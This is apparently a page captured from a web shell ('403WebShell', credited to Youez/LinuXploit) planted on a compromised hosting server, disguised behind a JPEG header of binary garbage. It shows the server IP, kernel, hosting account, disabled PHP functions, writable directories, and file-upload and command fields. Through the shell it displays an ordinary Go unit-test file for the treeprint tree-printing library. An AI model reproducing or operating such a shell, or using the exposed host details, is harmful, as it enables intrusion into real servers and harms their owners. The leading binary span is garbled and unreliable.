JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 91.108.119.28  /  Your IP : 216.73.216.250
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/./self/root/opt/go/pkg/mod/github.com/xlab/treeprint@v1.2.0/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/./self/root/opt/go/pkg/mod/github.com/xlab/treeprint@v1.2.0/treeprint_test.go
package treeprint

import (
	"testing"

	"github.com/stretchr/testify/assert"
)

func TestZeroNodesWithRoot(t *testing.T) {
	assert := assert.New(t)

	tree := NewWithRoot("mytree")
	actual := tree.String()
	expected := "mytree\n"
	assert.Equal(expected, actual)
}

func TestOneNode(t *testing.T) {
	assert := assert.New(t)

	tree := New()
	tree.AddNode("hello")
	actual := tree.String()
	expected := `.
└── hello
`
	assert.Equal(expected, actual)
}

func TestOneNodeWithRoot(t *testing.T) {
	assert := assert.New(t)

	tree := NewWithRoot("mytree")
	tree.AddNode("hello")
	actual := tree.String()
	expected := `mytree
└── hello
`
	assert.Equal(expected, actual)
}

func TestMetaNode(t *testing.T) {
	assert := assert.New(t)

	tree := New()
	tree.AddMetaNode(123, "hello")
	tree.AddMetaNode([]struct{}{}, "world")
	actual := tree.String()
	expected := `.
├── [123]  hello
└── [[]]  world
`
	assert.Equal(expected, actual)
}

func TestTwoNodes(t *testing.T) {
	assert := assert.New(t)

	tree := New()
	tree.AddNode("hello")
	tree.AddNode("world")
	actual := tree.String()
	expected := `.
├── hello
└── world
`
	assert.Equal(expected, actual)
}

func TestLevel(t *testing.T) {
	assert := assert.New(t)

	tree := New()
	tree.AddBranch("hello").AddNode("my friend").AddNode("lol")
	tree.AddNode("world")
	actual := tree.String()
	expected := `.
├── hello
│   ├── my friend
│   └── lol
└── world
`
	assert.Equal(expected, actual)
}

func TestNamedRoot(t *testing.T) {
	assert := assert.New(t)

	tree := New()
	tree.AddBranch("hello").AddNode("my friend").AddNode("lol")
	tree.AddNode("world")
	tree.SetValue("friends")
	actual := tree.String()
	expected := `friends
├── hello
│   ├── my friend
│   └── lol
└── world
`
	assert.Equal(expected, actual)
}

func TestDeepLevel(t *testing.T) {
	assert := assert.New(t)

	tree := New()
	one := tree.AddBranch("one")
	one.AddNode("subnode1").AddNode("subnode2")
	one.AddBranch("two").
		AddNode("subnode1").AddNode("subnode2").
		AddBranch("three").
		AddNode("subnode1").AddNode("subnode2")
	one.AddNode("subnode3")
	tree.AddNode("outernode")

	actual := tree.String()
	expected := `.
├── one
│   ├── subnode1
│   ├── subnode2
│   ├── two
│   │   ├── subnode1
│   │   ├── subnode2
│   │   └── three
│   │       ├── subnode1
│   │       └── subnode2
│   └── subnode3
└── outernode
`
	assert.Equal(expected, actual)
}

func TestComplex(t *testing.T) {
	assert := assert.New(t)

	tree := New()
	tree.AddNode("Dockerfile")
	tree.AddNode("Makefile")
	tree.AddNode("aws.sh")
	tree.AddMetaBranch(" 204", "bin").
		AddNode("dbmaker").AddNode("someserver").AddNode("testtool")
	tree.AddMetaBranch(" 374", "deploy").
		AddNode("Makefile").AddNode("bootstrap.sh")
	tree.AddMetaNode("122K", "testtool.a")

	actual := tree.String()
	expected := `.
├── Dockerfile
├── Makefile
├── aws.sh
├── [ 204]  bin
│   ├── dbmaker
│   ├── someserver
│   └── testtool
├── [ 374]  deploy
│   ├── Makefile
│   └── bootstrap.sh
└── [122K]  testtool.a
`
	assert.Equal(expected, actual)
}

func TestIndirectOrder(t *testing.T) {
	assert := assert.New(t)

	tree := New()
	tree.AddBranch("one").AddNode("two")
	foo := tree.AddBranch("foo")
	foo.AddBranch("bar").AddNode("a").AddNode("b").AddNode("c")
	foo.AddNode("end")

	actual := tree.String()
	expected := `.
├── one
│   └── two
└── foo
    ├── bar
    │   ├── a
    │   ├── b
    │   └── c
    └── end
`
	assert.Equal(expected, actual)
}

func TestEdgeTypeAndIndent(t *testing.T) {
	assert := assert.New(t)

	// Restore to the original values
	defer func(link, mid, end EdgeType, indent int) {
		EdgeTypeLink = link
		EdgeTypeMid = mid
		EdgeTypeEnd = end
		IndentSize = indent
	}(EdgeTypeLink, EdgeTypeMid, EdgeTypeEnd, IndentSize)

	EdgeTypeLink = "|"
	EdgeTypeMid = "+-"
	EdgeTypeEnd = "+-"
	IndentSize = 2

	tree := New()
	tree.AddBranch("one").AddNode("two")
	foo := tree.AddBranch("foo")
	foo.AddBranch("bar").AddNode("a").AddNode("b").AddNode("c")
	foo.AddNode("end")

	actual := tree.String()
	expected := `.
+- one
|  +- two
+- foo
   +- bar
   |  +- a
   |  +- b
   |  +- c
   +- end
`
	assert.Equal(expected, actual)
}

func TestRelationships(t *testing.T) {
	assert := assert.New(t)

	tree := New()
	tree.AddBranch("one").AddNode("two")
	foo := tree.AddBranch("foo")
	foo.AddBranch("bar").AddNode("a").AddNode("b").AddNode("c")
	foo.AddNode("end")

	treeNode := tree.(*Node)

	assert.Nil(treeNode.Root)
	assert.Len(treeNode.Nodes, 2)
	assert.Equal(treeNode, treeNode.Nodes[0].Root)
	assert.Equal(treeNode.Nodes[0], treeNode.Nodes[0].Nodes[0].Root)
}

func TestMultiline(t *testing.T) {
	assert := assert.New(t)

	multi1 := `I am
a multiline
value`

	multi2 := `I have
many


empty lines`

	multi3 := `I am another
multiple
lines value`

	tree := New()
	tree.AddBranch("one").AddMetaNode("meta", multi1)
	tree.AddBranch("two")
	foo := tree.AddBranch("foo")
	foo.AddBranch("bar").AddNode("a").AddNode(multi2).AddNode("c")
	foo.AddBranch(multi3)

	actual := tree.String()
	expected := `.
├── one
│   └── [meta]  I am
│       a multiline
│       value
├── two
└── foo
    ├── bar
    │   ├── a
    │   ├── I have
    │   │   many
    │   │   
    │   │   
    │   │   empty lines
    │   └── c
    └── I am another
        multiple
        lines value
`

	assert.Equal(expected, actual)
}

func TestVisitAll(t *testing.T) {

	tree := New()
	one := tree.AddBranch("one")
	one.AddNode("one-subnode1").AddNode("one-subnode2")
	one.AddBranch("two").AddNode("two-subnode1").AddNode("two-subnode2").
		AddBranch("three").AddNode("three-subnode1").AddNode("three-subnode2")
	tree.AddNode("outernode")

	var visitedNodeValues []Value
	expectedNodeValues := []Value{
		"one",
		"one-subnode1",
		"one-subnode2",
		"two",
		"two-subnode1",
		"two-subnode2",
		"three",
		"three-subnode1",
		"three-subnode2",
		"outernode",
	}

	tree.VisitAll(func(item *Node) {
		visitedNodeValues = append(visitedNodeValues, item.Value)
	})

	assert := assert.New(t)
	assert.Equal(expectedNodeValues, visitedNodeValues)

}

Youez - 2016 - github.com/yon3zu
LinuXploit